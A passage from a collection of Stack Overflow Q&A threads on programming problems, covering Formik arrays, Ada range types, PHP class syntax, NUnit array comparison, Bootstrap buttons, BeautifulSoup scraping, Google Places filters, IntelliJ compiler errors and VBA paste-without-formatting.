<TouchableOpacity style={cvstyles.arrayButtons} onPress={() => arrayHelpers.push(index, '')}>
<Text style={{ color: '#fff' }} >Add Entry</Text>
</TouchableOpacity>
<TouchableOpacity style={[cvstyles.arrayButtons, { marginRight: '2%' }]} onPress={() => arrayHelpers.remove(index)}>
<Text style={{ color: '#fff' }} >Remove Entry</Text>
</TouchableOpacity>
</View>
)}
</View>
</>
)}
/>
</Form>
)}
</Formik>
A: Just keep one array for changeTyreSelectedOption = [] in state and if you user select change any tyre option then push that index to changeTyreSelectedOption array like this changeTyreSelectedOption.push(index). Now condition to show extra component will be
{changeTyreSelectedOption.includes(index)
?
<View>
<Select
label="What type of Tyres"
name={`timesheets.[${index}].tyresType`}
items={[
{ label: 'Front RH, LH', value: 'Front RH, LH', key: 1 },
{ label: 'Rear RH, LH', value: 'Rear RH, LH', key: 2 },
{ label: 'Spare', value: 'Spare', key: 3 },
]}
/>
</View>
:
<View>
{console.log('Hide Rock Breaker!')}
</View>
}
to show the desired component.
Note: you also need to remove the index from the changeTyreSelectedOption if user change option
| {
"language": "en",
"url": "https://stackoverflow.com/questions/62039058",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Looking for a non-trivial 3 layered asp.net example I am looking for an example of an asp.net website(with source), implemented with 3 layer architecture and has some complexities like user authentication and user permissions, etc. .
Does anybody know such an example?
A: If you're favouring ASP.NET MVC (and I would suggest you should be) then Nerd Dinner (source) is one of the best examples on structuring an application.
Personally I feel that rather than focus on n-Tier/3-Tier architectures you should focus your efforts on responsibly designing web applications using principles like SOLID.
A: KiGG is a nice application to use for reference.
Source code can be found on codeplex: http://kigg.codeplex.com/
| {
"language": "en",
"url": "https://stackoverflow.com/questions/3405007",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: About "range" in Ada The following source code line in Ada,
type Airplane_ID is range 1..10;
, can be written as
type Airplane_ID is range 1..x;
, where x is a variable? I ask this because I want to know if the value of x can be modified, for example through text input. Thanks in advance.
A: No, the bounds of the range both have to be static expressions.
But you can declare a subtype with dynamic bounds:
X: Integer := some_value;
subtype Dynamic_Subtype is Integer range 1 .. X;
A:
Can type Airplane_ID is range 1..x; be written where x is a
variable? I ask this because I want to know if the value of x can be
modified, for example through text input.
I assume that you mean such that altering the value of x alters the range itself in a dynamic-sort of style; if so then strictly speaking, no... but that's not quite the whole answer.
You can do something like this:
Procedure Test( X: In Positive; Sum: Out Natural ) is
subtype Test_type is Natural Range 1..X;
Result : Natural:= Natural'First;
begin
For Index in Test_type'range loop
Result:= Result + Index;
end loop;
Sum:= Result;
end Test;
A: No. An Ada range declaration must be constant.
A: As the other answers have mentioned, you can declare ranges in the way you want, so long as they are declared in some kind of block - a 'declare' block, or a procedure or function; for instance:
with Ada.Text_IO,Ada.Integer_Text_IO;
use Ada.Text_IO,Ada.Integer_Text_IO;
procedure P is
l : Positive;
begin
Put( "l =" );
Get( l );
declare
type R is new Integer range 1 .. l;
i : R;
begin
i := R'First;
-- and so on
end;
end P;
| {
"language": "en",
"url": "https://stackoverflow.com/questions/8453914",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "9"
} |
Q: I cant call method in same class When i call method validate() i get this mistake Parse
error: syntax error, unexpected T_VARIABLE, expecting T_FUNCTION in \04Task.php on line 205
class RegexValidationRule extends ValidationRule {
public $regex;
public $result;
public function validate() {
$this->result = preg_match( $this->regex, $this->field->get_value() );
}
}
class ValidEmailValidationRule extends RegexValidationRule {
protected $regex = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$";
$this->validate();
}
A: class ValidEmailValidationRule extends RegexValidationRule {
protected $regex = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$";
public function __construct() {
$this->validate();
}
}
You can't be statements in the middle of a class definition like that, they have to be called inside functions.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/36720645",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Adding some noise to a text I wonder if there is any known algorithm/strategy to add some noise to a text string (for instance, adding a random sequence of characters every now and then or something similar).
I don't want to completely destroy the text just to make it slightly unusable. Also, I'm not interested in reversing back the changes, I can just recreate the original text from the sources I used to create it in the first place if needed.
Of course, a very basic algorithm for doing this could be easyly implemented but probably somebody has already created a somewhat sophisticated algorithm for this. If a Java implementation of something like this is available even better.
A: If you are using .Net and you need some random bytes maybe try the GetBytes method from the rngcryptoprovider. Nice n random. You could also use it to help in selection random positions to update.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/9385525",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Values differ at index 1 - for equal nested arrays Why it's not equal? It's the same with CollectionAssert too.
var a = new[] { new[] { 1, 2 }, new[] { 3, 4 } };
var b = new[] { new[] { 1, 2 }, new[] { 3, 4 } };
// if you comment these two lines the test passes
a[0] = a[1];
b[0] = b[1];
Assert.That(a, Is.EqualTo(b));
Gives:
Expected and actual are both <System.Int32[2][]>
Values differ at index [1]
Expected and actual are both <System.Int32[2]>
I'm using nunit 2.6.4.14350 and run from ReSharper test runner in VS .NET 4.5 project.
The same is reproducable for standalone NUnit test runner (2.6.4).
A: I reported this bug but it's closed as won't fix: https://github.com/nunit/nunit/issues/1209
So you can either use NUnit 3.x or accept that it's just broken in NUnit 2.6.x.
A: Althoug either a and bare of type Int32[2][] that does not mean they are equal as Equals returns true if the references of your arrays are identical which they are not. What you want is to echeck if their content is the same using a.SequenceEquals(b).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/34949299",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How Can I Activate Button Classes in Frontend? There are buttons as you can see in the .cshtml code I shared. I want to change the type of these buttons. However, no matter what I do, the buttons come as default when I run the application in the browser.
it is what i see. But i want to one of them like that ->
<h2>SIMPLE CALCULATOR</h2>
<form asp-action="Calculator" method="post">
<div class = "border-dark">
<div class = "form-group">
<label for = "FirstNumber">First Number</label>
<input type="text" class="form-control" id="FirstNumber" name="FirstNumber" value="@Model.FirstNumber"/>
</div>
<div class = "form-group">
<label for = "SecondNumber">Second Number</label>
<input type="text" class="form-control" id="SecondNumber" name="SecondNumber" value="@Model.SecondNumber"/>
</div>
<button type= "submit" class="btn-btn-info" id="addition" value="addition" name="method">+</button>
<button type= "submit" class="btn-btn-danger" id="substraction" value="substraction" name="method">-</button>
<button type= "submit" class="btn-btn-warning" id="multiplication" value="multiplication" name="method">*</button>
<button type= "submit" class="btn-btn-default" id="division" value="division" name="method">/</button>
<div class = "form-group">
<label for = "Result">Result</label>
<input type="text" class="form-control" id="ResultNumber" name="ResultNumber" value="@Model.ResultNumber"/>
</div>
</div>
</form>
A: If your web app is using Bootstrap (Bootstrap is included with asp.net mvc web app templates).
Bootstrap 5 buttons -
https://getbootstrap.com/docs/5.0/components/buttons/
The bootstrap documation states:
class=“btn btn-primary”
You’re adding an extra dash “-“ between btn btn. Try removing the first dash.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/72914667",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to scrape a whole website using beautifulsoup I'm quite new to Programming and OO programming especially. Nonetheless, I'm trying to write a very simple Spider for web crawling. Here's my first approach:
I need to fetch the data out of this page: http://europa.eu/youth/volunteering/evs-organisation_en
Firstly, I do a view on the page source to find HTML elements?
view-source:https://europa.eu/youth/volunteering/evs-organisation_en
Note: I need to fetch the data that comes right below this line:
EVS accredited organisations search results: 6066
I chose beautiful soup for this job - since it is very powerful:
I Use find_all:
soup.find_all('p')[0].get_text() # Searching for tags by class and id
Note: Classes and IDs are used by CSS to determine which HTML elements to apply certain styles to. We can also use them when scraping to specify specific elements we want to scrape.
See the class:
<div class="col-md-4">
<div class="vp ey_block block-is-flex">
<div class="ey_inner_block">
<h4 class="text-center"><a href="/youth/volunteering/organisation/935175449_en" target="_blank">"People need people" Zaporizhya oblast civic organisation of disabled families</a></h4>
<p class="ey_info">
<i class="fa fa-location-arrow fa-lg"></i>
Zaporizhzhya, <strong>Ukraine</strong>
</p> <p class="ey_info"><i class="fa fa-hand-o-right fa-lg"></i> Sending</p>
<p><strong>PIC no:</strong> 935175449</p>
<div class="empty-block">
<a href="/youth/volunteering/organisation/935175449_en" target="_blank" class="ey_btn btn btn-default pull-right">Read more</a> </div>
</div>
so this leads to:
# import libraries
import urllib2
from bs4 import BeautifulSoup
page = requests.get("https://europa.eu/youth/volunteering/evs-organisation_en")
soup = BeautifulSoup(page.content, 'html.parser')
soup
Now, we can use the find_all method to search for items by class or by id. In the below example, we'll search for any p tag that has the class outer-text
<div class="col-md-4">
so we choose:
soup.find_all(class_="col-md-4")
Now I have to combine all.
update: my approach: so far:
I have extracted data wrapped within multiple HTML tags from a webpage using BeautifulSoup4. I want to store all of the extracted data in a list. And - to be more concrete: I want each of the extracted data as separate list elements separated by a comma (i.e.CSV-formated).
To begin with the beginning:
here we have the HTML content structure:
<div class="view-content">
<div class="row is-flex"></span>
<div class="col-md-4"></span>
<div class </span>
<div class= >
<h4 Data 1 </span>
<div class= Data 2</span>
<p class=
<i class=
<strong>Data 3 </span>
</p> <p class= Data 4 </span>
<p class= Data 5 </span>
<p><strong>Data 6</span>
<div class=</span>
<a href="Data 7</span>
</div>
</div>
Code to extract:
for data in elem.find_all('span', class_=""):
This should give an output:
data = [ele.text for ele in soup.find_all('span', {'class':'NormalTextrun'})]
print(data)
Output:
[' Data 1 ', ' Data 2 ', ' Data 3 ' and so forth]
question: / i need help with the extraction part...
A: try this
data = [ele.text for ele in soup.find_all(text = True) if ele.text.strip() != '']
print(data)
| {
"language": "en",
"url": "https://stackoverflow.com/questions/48502868",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: PlaceFilter Place Type from Google Places API Android I want to ask how to get nearby Places with filter type (Example: shopping mall, bank) from new google places api (https://developers.google.com/places/android/start)
Here my code (I already add some alternative in loop conditions), but I want to filter types from PlaceFilter not in loop conditions.
PendingResult<PlaceLikelihoodBuffer> result = Places.PlaceDetectionApi
.getCurrentPlace(mGoogleApiClient, null);
result.setResultCallback(new ResultCallback<PlaceLikelihoodBuffer>() {
@Override
public void onResult(PlaceLikelihoodBuffer likelyPlaces) {
for (PlaceLikelihood placeLikelihood : likelyPlaces) {
list = placeLikelihood.getPlace().getPlaceTypes();
for(int i = 0; i < list.size(); i++)
{
if(list.get(i) == Place.TYPE_SHOPPING_MALL) {
Log.i(TAG, String.format("Place '%s' has likelihood: %g",
placeLikelihood.getPlace().getName(),
placeLikelihood.getLikelihood()));
}
}
}
likelyPlaces.release();
}
});
Please help, Many thanks
A: I think you are trying to do something like this.
List<Integer> filters=new ArrayList<>();
filters.add(Place.TYPE_ESTABLISHMENT);
AutocompleteFilter autocompleteFilter=AutocompleteFilter.create(filters);
PendingResult<AutocompletePredictionBuffer> pendingResult=Places
.GeoDataApi
.getAutocompletePredictions(sGoogleApiClient,"delhi", rectangleLyon, autocompleteFilter);
//rectangleLyon is LatLngBounds, to remove filters put autocompletefilter as null
// Second parameter(as String "delhi") is your search query
AutocompletePredictionBuffer autocompletePredictionBuffer=pendingResult.await(10, TimeUnit.SECONDS);
Status status=autocompletePredictionBuffer.getStatus();
Iterator<AutocompletePrediction> iterator=autocompletePredictionBuffer.iterator();
while (iterator.hasNext()){
AutocompletePrediction autocompletePrediction=iterator.next();
// do something
}
You can add more filters using
filters.add(Place.<MORE FILTERS>); //example TYPE_AIRPORT
Check here for more filter types
https://developers.google.com/places/supported_types
| {
"language": "en",
"url": "https://stackoverflow.com/questions/29574649",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: IntelliJ IDEA tells me "Error:java: Compilation failed: internal java compiler error idea" When I compile a Java project using IntelliJ IDEA, it gives me the following output (and error):
Information:Eclipse compiler 4.6.2 was used to compile java sources
Information:Module "sinoWeb" was fully rebuilt due to project configuration/dependencies changes
Information:2017/3/23 11:44 - Compilation completed with 1 error and 0 warnings in 5m 32s 949ms
Error:java: Compilation failed: internal java compiler error
I'm quite confused confused by this! Below are my settings:
A: I solved this issue by increasing the default value(700) of Build process heap size on IntelliJ's compiler settings.
A:
I met the same problem
I solved it by changing the Target bytecode error from 1.5 to 8
A: You have to disabled the Javac Options: Use compiler from module target JDK when possible.
A: I changed my compiler to Eclipse and run my project. Afterwards changed back to Javac and problem solved. I don't know exact problem but it can help who is looking for solution.
A: In my case, it was response type in restTemplate:
ResponseEntity<Map<String, Integer>> response = restTemplate.exchange(
eurl,
HttpMethod.POST,
requestEntity,
new ParameterizedTypeReference<>() { <---- this causes error
}
);
Should be like this:
ParameterizedTypeReference<Map<String, Integer>> responseType = new ParameterizedTypeReference<>() {};
ResponseEntity<Map<String, Integer>> response = restTemplate.exchange(
url,
HttpMethod.POST,
requestEntity,
responseType
);
A: It May is not be relevant to this case, but:
I got this error when I change the Explicit type argument List of:
new ParameterizedTypeReference<List<SomeDtoObject>>()
to <> :
new ParameterizedTypeReference<>()
in restTemplate call after Intellij gave the warning to use <> instead.
It got fixed when I undo my changes back into the Explicit type argument.
A: In my case, using Java 11, I had:
public List<String> foo() {
...
return response.readEntity(new GenericType<List<String>>() {});
and Intellij suggested I should use <> instead of GenericType<List<String>>, as such:
public List<String> foo() {
...
return response.readEntity(new GenericType<>() {});
I did that in four functions and the project stopped compiling with an internal compiler error, reverted and it compiled again. Looks like a bug with type inference.
A: In JIdea 2020.1.2 and above,
This is may be the language-level set in Project Structure is not compatible with the target byte-code version.
You have to change the target bytecode version .
*
*Go to Settings [ Ctrl+Alt+S ]
*Select Java Compiler
*Select module in the table
*Change the byte-code version to map what you selected in the previous step for language-level
NOTE :
How to check the language-level
*
*Go to Project Structure [ Ctrl+Alt+Shift+S
]
*Select Modules sub section
*Select each module
*Under sources-section, check Language Level
A: In my case it was because of lombok library with intellij 2019.2 & java11.
According to this IDEA bug after workaround idea works again:
Disable all building from intelliJ and dedicate the build to Maven.
A: For me the module's target bytecode version was set to 5. I changed it to 8 and the error is gone:
A: Changing the Language Level in the Project Settings (Ctrl + Alt + Shift + S) to Java 8 solved the problem for me
A: *
*On Intellij IDEA Ctrl + Alt + S to open settings.
*Build, Execution, Deployment -> Compiler -> Java Compiler
*choose your java version from Project bytecode version
*Uncheck Use compiler from module target JDK when possible
*click apply and ok.
A: I had the same problem. I fixed changing my settings. Target bytecode version for equals Project bytecode version.
A: What worked for me is to update the Open JDK version
A: I got the same error with Community edition 2020.3 on Windows 10 with an older version of the JDK (openjdk version "11" 2018-09-25).
Updating the JDK to javac 11.0.10 fixed the issue.
Here's the stack trace that showed up with the error when using openjdk version "11" 2018-09-25:
java: compiler message file broken: key=compiler.misc.msg.bug arguments=11, {1}, {2}, {3}, {4}, {5}, {6}, {7}
java: java.lang.AssertionError
java: at jdk.compiler/com.sun.tools.javac.util.Assert.error(Assert.java:155)
java: at jdk.compiler/com.sun.tools.javac.util.Assert.check(Assert.java:46)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$2$1.setOverloadKind(DeferredAttr.java:172)
java: at jdk.compiler/com.sun.tools.javac.comp.ArgumentAttr.visitReference(ArgumentAttr.java:283)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCMemberReference.accept(JCTree.java:2190)
java: at jdk.compiler/com.sun.tools.javac.comp.ArgumentAttr.attribArg(ArgumentAttr.java:197)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribTree(Attr.java:653)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribArgs(Attr.java:751)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitApply(Attr.java:1997)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCMethodInvocation.accept(JCTree.java:1634)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribTree(Attr.java:655)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitSelect(Attr.java:3573)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCFieldAccess.accept(JCTree.java:2110)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitApply(Attr.java:2006)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitReturn(Attr.java:1866)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCReturn.accept(JCTree.java:1546)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribStat(Attr.java:724)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribStats(Attr.java:743)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitBlock(Attr.java:1294)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCBlock.accept(JCTree.java:1020)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr.attribSpeculative(DeferredAttr.java:498)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr.attribSpeculative(DeferredAttr.java:481)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr.attribSpeculativeLambda(DeferredAttr.java:456)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrNode$StructuralStuckChecker.canLambdaBodyCompleteNormally(DeferredAttr.java:900)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrNode$StructuralStuckChecker.visitLambda(DeferredAttr.java:878)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCLambda.accept(JCTree.java:1807)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrNode$StructuralStuckChecker.complete(DeferredAttr.java:832)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredType.check(DeferredAttr.java:335)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrNode.process(DeferredAttr.java:779)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrContext.complete(DeferredAttr.java:626)
java: at jdk.compiler/com.sun.tools.javac.comp.Infer.instantiateMethod(Infer.java:214)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.rawInstantiate(Resolve.java:605)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.selectBest(Resolve.java:1563)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.findMethodInScope(Resolve.java:1733)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.findMethod(Resolve.java:1802)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.findMethod(Resolve.java:1776)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$10.doLookup(Resolve.java:2654)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$BasicLookupHelper.lookup(Resolve.java:3293)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.lookupMethod(Resolve.java:3543)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.resolveQualifiedMethod(Resolve.java:2651)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.resolveQualifiedMethod(Resolve.java:2645)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.selectSym(Attr.java:3721)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitSelect(Attr.java:3601)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitLambda(Attr.java:2598)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$4.complete(DeferredAttr.java:374)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredType.check(DeferredAttr.java:321)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$MethodResultInfo.check(Resolve.java:1060)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$4.checkArg(Resolve.java:887)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$AbstractMethodCheck.argumentsAcceptable(Resolve.java:775)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve$4.argumentsAcceptable(Resolve.java:896)
java: at jdk.compiler/com.sun.tools.javac.comp.Infer.instantiateMethod(Infer.java:181)
java: at jdk.compiler/com.sun.tools.javac.comp.Resolve.checkMethod(Resolve.java:644)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.checkMethod(Attr.java:4120)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.checkIdInternal(Attr.java:3913)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.checkMethodIdInternal(Attr.java:3814)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.checkId(Attr.java:3803)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitSelect(Attr.java:3696)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitLambda(Attr.java:2595)
java: at jdk.compiler/com.sun.tools.javac.comp.DeferredAttr$DeferredAttrNode.process(DeferredAttr.java:811)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitIdent(Attr.java:3553)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCIdent.accept(JCTree.java:2243)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribExpr(Attr.java:702)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitExec(Attr.java:1773)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCExpressionStatement.accept(JCTree.java:1452)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.visitMethodDef(Attr.java:1098)
java: at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCMethodDecl.accept(JCTree.java:866)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribClassBody(Attr.java:4683)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribClass(Attr.java:4574)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribClass(Attr.java:4523)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attribClass(Attr.java:4503)
java: at jdk.compiler/com.sun.tools.javac.comp.Attr.attrib(Attr.java:4448)
java: at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.attribute(JavaCompiler.java:1341)
java: at jdk.compiler/com.sun.tools.javac.main.JavaCompiler.compile(JavaCompiler.java:973)
java: at jdk.compiler/com.sun.tools.javac.api.JavacTaskImpl.lambda$doCall$0(JavacTaskImpl.java:104)
java: at jdk.compiler/com.sun.tools.javac.api.JavacTaskImpl.handleExceptions(JavacTaskImpl.java:147)
java: at jdk.compiler/com.sun.tools.javac.api.JavacTaskImpl.doCall(JavacTaskImpl.java:100)
java: at jdk.compiler/com.sun.tools.javac.api.JavacTaskImpl.call(JavacTaskImpl.java:94)
java: at org.jetbrains.jps.javac.JavacMain.compile(JavacMain.java:231)
java: at org.jetbrains.jps.incremental.java.JavaBuilder.compileJava(JavaBuilder.java:501)
java: at org.jetbrains.jps.incremental.java.JavaBuilder.compile(JavaBuilder.java:353)
java: at org.jetbrains.jps.incremental.java.JavaBuilder.doBuild(JavaBuilder.java:277)
java: at org.jetbrains.jps.incremental.java.JavaBuilder.build(JavaBuilder.java:231)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.runModuleLevelBuilders(IncProjectBuilder.java:1441)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.runBuildersForChunk(IncProjectBuilder.java:1100)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.buildTargetsChunk(IncProjectBuilder.java:1224)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.buildChunkIfAffected(IncProjectBuilder.java:1066)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.buildChunks(IncProjectBuilder.java:832)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.runBuild(IncProjectBuilder.java:419)
java: at org.jetbrains.jps.incremental.IncProjectBuilder.build(IncProjectBuilder.java:183)
java: at org.jetbrains.jps.cmdline.BuildRunner.runBuild(BuildRunner.java:132)
java: at org.jetbrains.jps.cmdline.BuildSession.runBuild(BuildSession.java:302)
java: at org.jetbrains.jps.cmdline.BuildSession.run(BuildSession.java:132)
java: at org.jetbrains.jps.cmdline.BuildMain$MyMessageHandler.lambda$channelRead0$0(BuildMain.java:219)
java: at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
java: at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
java: at java.base/java.lang.Thread.run(Thread.java:834)
java: Compilation failed: internal java compiler error
java: Errors occurred while compiling module 'project'
javac 11 was used to compile java sources
Finished, saving caches...
Compilation failed: errors: 1; warnings: 100
A:
Setting -> Build -> Compiler -> Java Compiler
The Target bytecode version of the module is wrong. I set it to 1.8, then it worked.
A: In my case Information:java: java.lang.OutOfMemoryError: GC overhead limit exceeded intellij.
increased compiler -> build process heap size.
Ref: https://intellij-support.jetbrains.com/hc/en-us/community/posts/360003315120-GC-overhead-limit-exceeded
A: In my case I had to go to help > show logs in files which opens up the idea.log and build-log folders something like
/home/user/.cache/JetBrains/IntelliJIdea2021.2/log/build-log/ where I set the log level to DEBUG in the log4j.rootLogger=debug, file in build-log.properties
I then ran build again and saw
2021-11-27 19:59:39,808 [ 133595] DEBUG - s.incremental.java.JavaBuilder - Compiling chunk [module] with options: "-g -deprecation -encoding UTF-8 -source 11 -target 11 -s /home/user/project/target/generated-test-sources/test-annotations", mode=in-process
2021-11-27 19:59:41,082 [ 134869] DEBUG - s.incremental.java.JavaBuilder - java:ERROR:Compilation failed: internal java compiler error
which lead me to see that this might me related to junit test compilation failing. It turns out I had an older/mismatching of the vintage engine and the jupiter engine which are likely to have different java versions relating in the error above. Changing them to be the same ${version.junit} removed the error.
<dependency>
<groupId>org.junit.platform</groupId>
<artifactId>junit-platform-launcher</artifactId>
<version>1.6.2</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.platform</groupId>
<artifactId>junit-platform-commons</artifactId>
<version>1.7.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${version.junit}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
<version>${version.junit}</version>
<scope>test</scope>
</dependency>
In short some of your dependency jars may have mismatching java versions.
A: Was facing the same issue with Java 11. Solved by changing language level
File -> Project Structure -> Project
Change "Language Level" to SDK Default
A: Updated Java compiler to correct "Target bytecode version" which in my case is 8 :
A: one reason may be jdk version donot macth minimal version of your project.
A: Be aware of JDK-8177068 issue, which leads to internal error like
java.lang.NullPointerException
at jdk.compiler/com.sun.tools.javac.comp.Flow$FlowAnalyzer.visitApply(Flow.java:1233)
at jdk.compiler/com.sun.tools.javac.tree.JCTree$JCMethodInvocation.accept(JCTree.java:1628)
at jdk.compiler/com.sun.tools.javac.tree.TreeScanner.scan(TreeScanner.java:49)
at jdk.compiler/com.sun.tools.javac.comp.Flow$BaseAnalyzer.scan(Flow.java:393)
at jdk.compiler/com.sun.tools.javac.tree.TreeScanner.visitExec(TreeScanner.java:213)
...
It was fixed in JDK 11.0.12 and JDK 14 b14, so upgrade helped.
A: I switched across to the cmd line mvn compile build and it showed a more meaningful error.
Fatal error compiling: error: invalid target release: 17 -> [Help 1]
Checking my JAVA_HOME it was set to 11. Once I adjust my project to use 11 as well I got past this and onto another error (which was solved separately).
A: Otherwise you can remove .m2 folder. Try to reload project.
A: In my case, I was using Spring Framework 6.0.0 and JDK 11 as the same time. This is not supported according to spring framework wiki. After I degraded the spring framework version to 5.3.24, it solved.
You can check your spring framework version in this way.
spring framework version
| {
"language": "en",
"url": "https://stackoverflow.com/questions/42966889",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "119"
} |
Q: VBA Copy and Paste without formatting I've got this code but it pastes the cell formatting from the original document into the master file, how can I remove the formatting from the output please?
Option Explicit
Sub CopyPastefiles()
Dim objFSO As Object
Dim objFolder As Object
Dim objFile As Object
Dim MyFolder As String
Dim StartSht As Worksheet, ws As Worksheet
Dim WB As Workbook
Dim i As Integer
'turn screen updating off - makes program faster
'Application.ScreenUpdating = False
'location of the folder in which the desired TDS files are
MyFolder = "U:\Documents\DeleteMe\Sycle\"
Set StartSht = ActiveSheet
Set StartSht = Workbooks("masterfile.xlsx").Sheets("Sheet1")
'create an instance of the FileSystemObject
Set objFSO = CreateObject("Scripting.FileSystemObject")
'get the folder object
Set objFolder = objFSO.GetFolder(MyFolder)
i = 1
'loop through directory file and print names
For Each objFile In objFolder.Files
If LCase(Right(objFile.Name, 3)) = "xls" Or LCase(Left(Right(objFile.Name, 4), 3)) = "xls" Then
'print file name to Column 1
Workbooks.Open Filename:=MyFolder & objFile.Name
Set WB = ActiveWorkbook
'print TOOLING DATA SHEET(TDS): values to Column 2
With WB
For Each ws In .Worksheets
StartSht.Cells(i + 1, 10) = objFile.Name
With ws
.Range("e6").Copy StartSht.Cells(i + 1, 4)
.Range("e7").Copy StartSht.Cells(i + 1, 5)
.Range("e8").Copy StartSht.Cells(i + 1, 6)
End With
i = i + 1
'move to next file
Next ws
'close, do not save any changes to the opened files
.Close SaveChanges:=False
End With
End If
'move to next file
Next objFile
'turn screen updating back on
'Application.ScreenUpdating = True
End Sub
thanks for you help.
A: Instead of using .Copy to directly paste the values into the destination, you can use .PasteSpecial Paste:=xlPasteValues.
I.e. something like
.Range("e6").Copy
StartSht.Cells(i + 1, 4).PasteSpecial Paste:=xlPasteValues
for your first line.
Or you can just set the cell equal to the range you're copying, as suggested in the comments on your question.
.StartSht.Cells(i + 1, 4) = .Range("E6")
| {
"language": "en",
"url": "https://stackoverflow.com/questions/64477488",
